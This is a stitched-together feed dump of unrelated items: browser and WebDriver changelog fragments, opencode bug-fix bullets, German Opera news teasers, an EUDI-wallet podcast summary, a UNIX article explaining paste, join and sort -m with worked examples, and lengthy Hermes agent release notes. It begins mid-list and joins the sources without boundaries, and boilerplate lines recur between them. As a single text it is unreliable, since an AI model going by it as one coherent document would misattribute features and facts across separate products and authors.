• Khalid AlHaddad updated our codebase to use constants instead of hardcoded strings for all our session data types.
• Alexandra Borovova updated the “emulation.setLocaleOverride” command to also apply a locale emulation in dedicated and shared workers.
• Alexandra Borovova fixed a regression when there would be no “script.realmCreated” events after the cross-origin navigation.

Search and Urlbar

• Dharma updated context search actions to trigger search instead of entering search mode @ 1945080
• Daisuke and Drew worked on a lot of Nova updates, including ensuring Nova is tested @ 2041255, 2030183, 2019168, 2044849, 2033583
• Moritz has worked on several refactorings to allow the urlbar to be used in content @ 2039828, 2039298, 2041280
• Middle click paste replaces content was fixed by Moritz @ 2042893
• Michel added feature to show registrable domain on desktop after its implementation on mobile @ 1986161

Bugfixes

• Improve Claude adaptive thinking handling across more response shapes.
• Avoid OpenAI Responses phase handling that could break some conversations.
• Preserve grep symlink paths in search results. (@remixz)
• Preserve Mistral reasoning history across turns.
• Stabilize Mistral prompt caching.
• Use the correct prompt cache keys for each SDK.
• Fix MiniMax M3 thinking variant selection.

Desktop

Improvements

• Support the current server terminal transport.
• Support current-server review data in the desktop app.
• Update server discovery flows for current servers.
• Support current-server session actions, including prompts and commands.
• Render current-server session timelines.
• Stream current-server events in the desktop app.
• Detect legacy and current servers so the desktop app can work with both.

Bugfixes

• Restore optimistic timeline updates while responses are still streaming.
• Hide legacy-only features when connected to current servers.
• Preserve inline file mentions when sending prompts to legacy servers.
• Stop auto-accepting config permissions on current servers.
• Keep current servers out of the legacy layout.
• Show plain file contents in file-specific tabs instead of review diffs.
• Keep the prompt input agent toggle in sync.
• Keep paginated session timelines in the right order.
• Restore directory-scoped session status for legacy servers.
• Reload legacy session progress after hydration.

Thank you to 2 community contributors:

• @dleopold:
  • fix(app): classify existing web profiles for layout transition (#38117)
• @remixz:
  • fix(opencode): preserve grep symlink paths (#38581)

Opera erweitert seinen Desktop-Browser Opera One um eine optionale vertikale Tableiste. Statt geöffnete Webseiten am oberen Fensterrand nebeneinander anzuzeigen, lassen sich die Tabs jetzt in einer größenverstellbaren Seitenleiste links im Browser unterbringen. Die Neuerung richtet sich an Nutzer, die die klassische Tableiste unübersichtlich finden. In der horizontalen Leiste werden die einzelnen Tabs mit zunehmender Anzahl […]

The post Opera One folgt Chrome und Firefox mit vertikalen Tabs first appeared on ifun.de.

Der Beitrag Opera One jetzt mit vertikalen Tabs und verbesserter Google Lens erschien zuerst auf appgefahren.de.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

The rollout of the European Digital Identity Wallet (EUDI wallet) demands tight security, but combining high-assurance compliance with post-quantum cryptography creates new engineering bottlenecks. In this episode, host Johannes Lintzen sits down with Wei Yuan, lab manager and director of operations at Applus+ Laboratories. They dissect hardware trust architectures, hardware security module (HSM) limits, and why implementation flaws cause far more security breaches than algorithmic failures.

YouTube chapters
00:00 Introduction to Wei Yuan and Applus+ Laboratories
03:28 Explaining the European Digital Identity (EUDI) Wallet
05:28 The importance of data minimization for citizens
07:41 How laboratories verify vendor security claims
09:35 The vulnerability of identity data to quantum attacks
11:12 The 2026 deadline for member state deployment
12:22 Creating certification schemes with ENISA
15:46 Comparing secure elements and remote HSMs
19:12 The role of standardization in preventing delays
24:33 Navigating international regulation differences
28:51 Advice for vendors starting their migration
32:10 Reporting obligations under the Cyber Resilience Act
34:02 Why implementation matters more than design

Guest bio
Wei Yuan is lab manager and director of operations at Applus+ Laboratories. Working at the boundary of high-assurance evaluation, hardware security, and regulatory policy, he serves as an expert within ENISA working groups, helping shape European digital identity certification standards and transition pathways to post-quantum cryptography.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

The post Quick Answers: For the questions in between appeared first on The Mozilla Blog.

The post Your Android tabs just got a lot more organized with Firefox appeared first on The Mozilla Blog.

You're reading Firefox 153 offers built-in container tabs, rounded corners + more, a blog post from OMG! Ubuntu. Do not reproduce elsewhere without permission.

ether

This series is dedicated to exploring little-known—and occasionally useful—trinkets lurking in the dusty corners of UNIX-like operating systems.

I frequently find myself reaching for the cut utility when writing scripts to extract one piece of data from a line, or to select specific fields from a log file. While I am familiar with its counterpart, paste , I don't employ it very often because I don't typically need its functionality.

This perhaps has to do with the fact that I rarely work with text files containing lists. For shorter lists, I usually end up using a spreadsheet and for larger ones, a relational database. Both are valuable tools with their own strengths and weaknesses, but it is good to also know about standard utilities for working with lists. After uploading UNIX Curio #8 ( HPR episode 4657 ), I felt like maybe I had been too dismissive of the comm utility in that episode and should talk more about tools that are useful when managing lists.

I don't frequently find myself using paste ¹ , but can explain how it works. Briefly, it is a rough opposite of cut —when given multiple files as arguments, it assembles the first line from each one separated by tabs, then the second line, and so on. Instead of tabs, a different delimiter can be chosen with the -d option. Another option is -s , which swaps rows and columns so that the contents of each named file would appear on one line. While paste itself doesn't qualify as a UNIX Curio in my opinion, there is one feature that does: a hyphen can be given as an argument multiple times. In this special case, the output is taken line by line from standard input, but is spread across as many columns as there are hyphens.

Example of using paste to turn the output of ls into columns. Because these columns are separated by tabs, they don't necessarily line up when a filename is eight or more characters long. The -1 is not required for the second ls command since that behavior is implied when output isn't going to a terminal. The -C option to ls usually gives nicer-looking output on a terminal—also, it lists in ascending order down by column. (Most implementations default to -C when output goes to a terminal.) If you want items ascending along rows like the paste example does, try ls -x instead.

$ ls -1 /proc/net
anycast6
arp
bnep
connector
dev
dev_mcast
dev_snmp6
fib_trie
fib_triestat
hci
icmp
icmp6
if_inet6
igmp
igmp6
ip6_flowlabel
ip6_mr_cache
ip6_mr_vif
ip_mr_cache
ip_mr_vif
ip_tables_matches
ip_tables_names
[...35 more entries not shown...]
$ ls /proc/net | paste - - - -
anycast6        arp     bnep    connector
dev     dev_mcast       dev_snmp6       fib_trie
fib_triestat    hci     icmp    icmp6
if_inet6        igmp    igmp6   ip6_flowlabel
ip6_mr_cache    ip6_mr_vif      ip_mr_cache     ip_mr_vif
ip_tables_matches       ip_tables_names ip_tables_targets       ipv6_route
l2cap   mcfilter        mcfilter6       netfilter
netlink netstat packet  protocols
psched  ptype   raw     raw6
rfcomm  route   rt6_stats       rt_acct
rt_cache        sco     snmp    snmp6
sockstat        sockstat6       softnet_stat    stat
tcp     tcp6    udp     udp6
udplite udplite6        unix    wireless
xfrm_stat
$ ls -C /proc/net
anycast6      if_inet6           l2cap      rfcomm        tcp
arp           igmp               mcfilter   route         tcp6
bnep          igmp6              mcfilter6  rt6_stats     udp
connector     ip6_flowlabel      netfilter  rt_acct       udp6
dev           ip6_mr_cache       netlink    rt_cache      udplite
dev_mcast     ip6_mr_vif         netstat    sco           udplite6
dev_snmp6     ip_mr_cache        packet     snmp          unix
fib_trie      ip_mr_vif          protocols  snmp6         wireless
fib_triestat  ip_tables_matches  psched     sockstat      xfrm_stat
hci           ip_tables_names    ptype      sockstat6
icmp          ip_tables_targets  raw        softnet_stat
icmp6         ipv6_route         raw6       stat
$ ls -x /proc/net
anycast6           arp              bnep               connector     dev
dev_mcast          dev_snmp6        fib_trie           fib_triestat  hci
icmp               icmp6            if_inet6           igmp          igmp6
ip6_flowlabel      ip6_mr_cache     ip6_mr_vif         ip_mr_cache   ip_mr_vif
ip_tables_matches  ip_tables_names  ip_tables_targets  ipv6_route    l2cap
mcfilter           mcfilter6        netfilter          netlink       netstat
packet             protocols        psched             ptype         raw
raw6               rfcomm           route              rt6_stats     rt_acct
rt_cache           sco              snmp               snmp6         sockstat
sockstat6          softnet_stat     stat               tcp           tcp6
udp                udp6             udplite            udplite6      unix
wireless           xfrm_stat

The paste command has limitations—the files you give it must all be already arranged in the same order, and if any file is missing a value, it must have a blank line so that subsequent lines will match up correctly. The files do not necessarily have to be sorted alphabetically, but whatever order they are in has to be the same. Check out HPR episodes 962 and 4201 for some more background on the paste utility.

Example of using paste with files where some values are empty. Bob works from home so doesn't have an office assigned, and the laboratory Carol works in doesn't have a phone. This relies on the fact that the same line number in every file relates to the same person/entry.

$ cat names
Alice
Bob
Carol
Dave
$ cat offices
203

Lab6A
117
$ cat phones
+1 212-555-1234
+1 919-555-2345

+1 212-555-1278
$ paste names offices phones
Alice   203     +1 212-555-1234
Bob             +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278

Our second UNIX Curio for today is a utility called join ² , which has a bit more sophistication. It operates on two files, which can have multiple columns, and combines them using the join field. By default, the first column/field in each file is the join field, and only entries that exist in both files are printed. The -1 and -2 options can be used to join on a different field, and -o selects specific fields to be output. To make it so lines with missing entries also appear, you need to use the -a option, but an actual empty string with separator won't be printed unless -o is also present and includes the field.

The default field separator character is one or more "blanks" in the current locale—for the POSIX locale, this means a space or a horizontal tab. The -t option selects a different character and also removes the treatment of multiple occurrences as a single separator, making it possible to have an empty field in one or both of the files. By default, a single space is used to separate fields in the output. If -t is given, the same character is used for separating fields in both input and output. You would need to pipe output through another tool like tr if you wanted to have a different separator in the output.

The join utility might be an improvement over paste in some cases, since the join field makes it a little easier to identify which entries match up across files. It is limited to operating only on two files (one of which can be standard input), so combining more than that requires either creating temporary intermediate files or chaining together join commands in a pipeline. Another requirement is that all files must already be sorted in the current locale.

Example showing how join can be used with two tab-separated lists. The LC_ALL assignment forces join to sort using the C (POSIX) locale instead of whatever might be set in your environment. The "@" on the header line has no special meaning; it is just there to make sure it sorts before any letters or numbers (in the C locale; it might not in other locales). Note that if -t were not specified, plist would be treated as having three fields because of the space separating the country code from the rest of the phone number.

$ export tab="$(printf '\t')" #To more easily use tab characters below
$ cat olist
@Name   Office
Alice   203
Carol   Lab6A
Dave    117
$ cat plist
@Name   Phone
Alice   +1 212-555-1234
Bob     +1 919-555-2345
Dave    +1 212-555-1278
$ LC_ALL=C join -t "$tab" olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Dave    117     +1 212-555-1278
$ LC_ALL=C join -t "$tab" -a 1 -a 2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob     +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278
$ #By default, join acts as if empty fields don't exist; use -o to include
$ LC_ALL=C join -t "$tab" -a 1 -a 2 -o 0,1.2,2.2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob             +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278
$ #The -e option sets a placeholder to use for empty fields
$ LC_ALL=C join -t "$tab" -e "(none)" -a 1 -a 2 -o 0,1.2,2.2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob     (none)  +1 919-555-2345
Carol   Lab6A   (none)
Dave    117     +1 212-555-1278

The brief description for join is "relational database operator"—I won't dispute that, but in my view it offers far fewer capabilities than people would expect from today's relational databases. I would imagine that when most people think of those they have Structured Query Language (SQL) in mind, which offers a lot more flexibility and functions to operate on data. However, I can see how join could be suitable for simple operations.

Our last UNIX Curio for today relates to the sort utility ³ . While, as you might expect, it is well-known for its ability to sort data, it has another feature that is more obscure. When used with the -m option, instead of sorting the files given as arguments, it merges them together. All of the files are expected to already be sorted—once combined, the list that is output will also be sorted. The order in which the files are named does not matter; it is not required for the contents of the first file to start before the second, just that both are sorted.

$ cat women
Alice
Carol
$ cat men
Bob
Dave
$ sort -m men women
Alice
Bob
Carol
Dave

Imagine that you organize an annual event and have a separate pre-sorted list of attendees' e-mail addresses for each of the past three years. You are planning this year's event and want to send out an announcement to all of these people, as they will probably be interested. The command sort -m -u 2023list 2024list 2025list would spit out a combined list that you can use for your e-mail blast. Because it is likely that some people would have attended in more than one year, I included the -u option—it removes any duplicate entries.

It is probably no surprise that the sort utility appeared early on—it was in 1971's First Edition UNIX, though it didn't gain the merging functionality until Fifth Edition ⁴ in 1973. What did come as a shock to me is that both cut and paste didn't show up until 1980 with System III ⁵ , and were actually preceded by join , which was in Seventh Edition UNIX ⁶ from 1979. I assumed that at least cut would have been around far earlier, given its usefulness and how firmly established it is, but I suppose it just seems to have been with us forever.

As mentioned, I don't typically manage data as text files containing lists, and I probably won't start using the join utility or these features of paste and sort very much. But it is still useful to know that they exist and how they work. Hopefully this episode has taught you a bit about them.

References:

1. Paste specification https://pubs.opengroup.org/onlinepubs/9699919799/utilities/paste.html
2. Join specification https://pubs.opengroup.org/onlinepubs/9699919799/utilities/join.html
3. Sort specification https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sort.html
4. A Research UNIX Reader: Fifth Edition sort manual page https://archive.org/details/a_research_unix_reader/page/n19/mode/1up
5. System III paste manual page https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/man/man1/paste.1
6. Seventh Edition UNIX join manual page https://man.cat-v.org/unix_7th/1/join

Provide feedback on this episode.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped ~80% on every platform, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now manage your Nous subscription without leaving the terminal, plug Bitwarden and 1Password straight into Hermes, let smart approvals judge flagged commands for you by default, watch your subagents work live, and trust that a finished response survives a gateway crash thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.

✨ Highlights

• Hermes got dramatically faster — first token in a fraction of the time — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you see while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (#59332, #59389 — @teknium1)

• The desktop app speed wave — 20+ targeted perf PRs — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (#67154, #67818, #65898, #66033, #66747, #67742 and more — @OutThisLife)

• Manage your Nous plan from the terminal — /subscription and /topup — Changing your subscription used to mean a trip to the billing website. Now /subscription opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 & upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (#51639, #61054, #61067 — @alt-glitch)

• Smart approvals are now the default — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new user-defined deny rules (which block commands even under yolo mode) and /deny <reason> (which tells the agent why you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (#62661, #59164, #54518 — @teknium1)

• Plug your password manager into Hermes — Bitwarden & 1Password secret sources — API keys no longer have to live in a plaintext .env. A new pluggable SecretSource interface lets Hermes fetch secrets from Bitwarden and 1Password (op:// references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (#59498 — @teknium1, 1Password provider salvaged from @hwrdprkns)

• Watch your subagents work — live transcripts + durable background delegation — delegate_task dispatches now return live transcript files you can tail -f the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now durable — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (#67479, #63494 — @teknium1)

• A finished answer can no longer be lost — the delivery-obligation ledger — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in state.db around the platform send and redelivered on the next boot — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (#67181 — @teknium1)

• One gateway, many profiles — profile-based message routing — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the work profile and your hobby server at personal, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (#64835 salvaging @Burgunthy, #65700, #60589 — @teknium1, @benbarclay + six salvaged contributors)

• New providers and the newest frontier models — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a #2 slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route), grok-4.5 (GA), moonshotai/kimi-k3, claude-fable-5 / claude-sonnet-5, and GA tencent/hy3 — plus LM Studio JIT model loading for local setups. (#62593, #63969, #61616 — @kshitijk4poor completing @rob-maron's #61578, #60887, #65913, #64541, #65472)

• Crank the thinking to max — new reasoning effort tiers and per-model control — Reasoning effort gained max and ultra levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin per-model reasoning-effort overrides in config, set per-slot effort in MoA presets (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (#62650, #64458, #64631, #64597 — @teknium1)

• Your sessions, your data — export everything — hermes sessions export now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in --redact secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (#60186 salvaging @web3blind, #60492, #60507, #59327 — @teknium1)

• Security hardening round — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (#57660, #58709, #59215, #56582, #57842 — @teknium1, @srojk34, @kshitijk4poor, @jquesnelle)

⚡ Performance — the speed spine

First-turn latency (all platforms)

• ~80% TTFT cut — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (#59332 — @teknium1)
• Perceived-latency round 2 — display.show_reasoning default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (#59389 — @teknium1)
• Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (#64460, #67788 — @teknium1, @OutThisLife)

Desktop speed wave

• 14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (#67154, #67818, #65898, #66033 — @OutThisLife)
• Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (#66747, #66347, #67857, #66470 — @OutThisLife)
• Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (#67742, #67842, #67195, #67245, #67824, #67838, #67844 — @OutThisLife)
• Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (#67466, #67697 — @OutThisLife)

Everywhere else

• TUI renders streamed markdown incrementally per block (#67236 — @OutThisLife)
• Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (#61414, #61131, #63941 — @kshitijk4poor, @ethernet8023)
• Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway session.resume model + display history from one SELECT (#61133, #61368, #67247 — @kshitijk4poor, @OutThisLife)
• hermes update skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (#61580, #60883 — @kshitijk4poor)
• Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (#67403 — @kshitijk4poor)

🏗️ Core Agent & Architecture

Providers & models

• Fireworks AI provider with cost estimation + cached picker price columns, promoted to #2 in provider pickers (#62593, #65476, #65214 — @teknium1)
• DeepInfra hardened integration; Upstage Solar provider (#42231 salvage) (#63969, #64541 — @kshitijk4poor)
• GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end — context lengths, native/Codex catalogs, pricing, compaction caps across every route (#61616 — @kshitijk4poor, building on @rob-maron)
• grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (#60887, #65913, #65922, #56617, #60943 — @teknium1)
• Catalog-labeled silent default (GLM-5.2) + bare-provider /model cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (#64771, #65472, #67606 — @teknium1, @kshitijk4poor)
• GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (#58884, #61873 — @vishal-dharm, #57038, #57028 — @teknium1)
• Claude Sonnet 5 fully wired — curated lists, intro pricing, and metadata across every route (#67932 — @teknium1)
• Hide providers you don't use — enabled: false per-provider flag + excluded_providers config scrub unwanted providers from /model pickers and built-in resolution (#67971 — @teknium1)
• Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (#68007, #67977, #68005, #67976 — @teknium1)
• kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (#68108 — @teknium1)
• Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (#67758, #67904, #67908 — @teknium1)

Reasoning & MoA

• max + ultra effort levels across every surface and route (#62650 — @teknium1)
• Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped /reasoning in the CLI (#64458, #64597, #64631, #67946 — @teknium1)
• MoA: reference_max_tokens to cap advisor output and cut latency; per-preset fanout cadence (user_turn runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (#56756, #57591, #64756 — @teknium1)

Delegation, approvals & the agent loop

• Live subagent transcripts + durable background completions (see Highlights) (#67479, #63494 — @teknium1)
• Smart approvals default; user-defined deny rules (block even under yolo); /deny <reason> relays the denial reason; plugin pre_tool_call approve action escalates to a human gate (re-landed with rule keys) (#62661, #59164, #54518, #60504 — @teknium1, @kshitijk4poor)
• Unified delegation concurrency caps (max_async_children deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (#56955, #64775, #61793 — @teknium1)
• Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through thread/compact/start, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via /usage reset (#66514, #66115, #60114, #58155, #62225 — @teknium1, @kshitijk4poor, @JoaoMarcos44, #64280 — @teknium1)
• Hooks: oversized hook-injected context spills to disk (#20468 — @teknium1)
• Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (#62016 — @OutThisLife)

Secrets & config

• Pluggable SecretSource interface + Bitwarden & 1Password providers (see Highlights) (#59498 — @teknium1, @hwrdprkns)
• hermes config get / unset; warn on unknown root config keys + doctor deprecated-key reporting; display.timestamp_format (#65540, #67370, #40622 — @teknium1)
• Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; --usage-file JSON report for hermes -z (#65537, #65468, #59615 — @teknium1)

Sessions & compression

• Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, --redact, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (#60186, #60492, #60507, #59327, #63091 — @teknium1, @web3blind)
• Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (#67275, #67916, #65046, #56868 — @kshitijk4poor, @teknium1)
• Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an api_content sidecar (#58899, #59203, #67274 — @teknium1, @kshitijk4poor)

🌐 Gateway, Fleet & Relay

• Durable delivery-obligation ledger for final responses (see Highlights) (#67181 — @teknium1)
• Profile-based routing for inbound messages + multiplex hardening wave 2 + GATEWAY_MULTIPLEX_PROFILES override (see Highlights) (#64835, #65700, #60589 — @teknium1, @benbarclay + salvaged contributors)
• Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session /model overrides persist across restarts (#67401, #65783, #62645, #56967, #57030 — @teknium1)
• Session auto-reset default off; /sessions search <query>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (#60194, #57685, #60944, #65702, #58872 — @teknium1)
• Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + nous_session_valid on /api/status for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (#60730, #60586, #64649, #59976, #59969, #59983 — @benbarclay)

📱 Messaging Platforms

• Inline choice pickers for /reasoning and /fast on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (#65799 — @teknium1)
• WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (#58865, #60571 — @teknium1)
• Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (#66149, #60187, #60230, #60493, #51751 — @teknium1)
• Slack: live per-tool status line (#67080 — @teknium1, salvaging #62007)
• Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (#65543, #65546 — @teknium1)
• Voice: stt.echo_transcripts toggle; MEDIA: captions attached to the media bubble on standalone sends; display.tool_progress: log option (#58859, #61415, #57014 — @teknium1, @kshitijk4poor)

🖥️ Hermes Desktop App

• Contribution-driven shell on a layout-tree model — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (#60638, #67303 — @OutThisLife)
• Capabilities page — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (#57590, #57441, #67482 — @OutThisLife, @teknium1)
• Hermes Cloud connection mode (salvage of #55402); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (#61912, #61916, #67203 — @OutThisLife, @teknium1)
• Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (#65204, #62243, #65109, #65174, #61147, #57913 — @ethernet8023, @OutThisLife)
• Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (#67469, #67681, #67282, #63086 — @OutThisLife)
• Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; /journey opens the memory graph overlay (#67206 salvaging @erosika, #67209, #67759 — @austinpickett, #67472, #63520, #60457, #67029, #64598, #57267 — @teknium1, @OutThisLife)
• Full TypeScript conversion of the desktop tree (#57855 — @ethernet8023)

📊 Web Dashboard

• Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (#60569, #63699, #60571, #65361, #64636 — @teknium1, @kshitijk4poor, @shannonsands)
• Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; browser.headed schema toggle; profile + gateway topology on /api/status; mobile/hosted OpenAI OAuth login (#60515, #65895, #61929, #67046, #60537, #61330 — @teknium1, @OutThisLife, @benbarclay)
• hermes serve is a true headless backend (no web UI build/mount) (#55923 — @OutThisLife)

🧰 CLI & TUI

• /subscription + /topup terminal billing (see Highlights) (#51639 — @alt-glitch)
• /model --once — one-turn model override that reverts automatically (#67113 — @teknium1, salvaging #29923)
• Stacked slash-skill invocations — /skill-a /skill-b do XYZ loads both skills in order (Claude Code port), with autocomplete + ghost text (#57987, #58763 — @teknium1)
• --safe-mode troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; /compact alias + preview flags; pip/Homebrew installs warned unsupported (#45300, #60111, #57992, #57029, #57225 — @teknium1, @ethernet8023)
• TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (#59782 — @helix4u, #62859 — @Adolanium, #40624 — @teknium1)
• Hermes Console REPL + perf follow-ups; hermes curator usage all-skills view; entry-point plugins surfaced in hermes plugins list (#57781 — @kshitijk4poor, #36727, #40623 — @teknium1)

🔧 Tool System, Skills & MCP

• MCP: mcp__server__tool naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable redirect_uri/redirect_host for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (#52750, #57416, #66151, #65610, #65622, #64463 — @teknium1, @benbarclay)
• Skills: security/unbroker (autonomous data-broker removal) + blind opt-out hardening; unreal-mcp companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; mcp-oauth-remote-gateway optional skill (#57438, #57902, #65989, #64715 — @SHL0MS, #65066, #65486 — @teknium1)
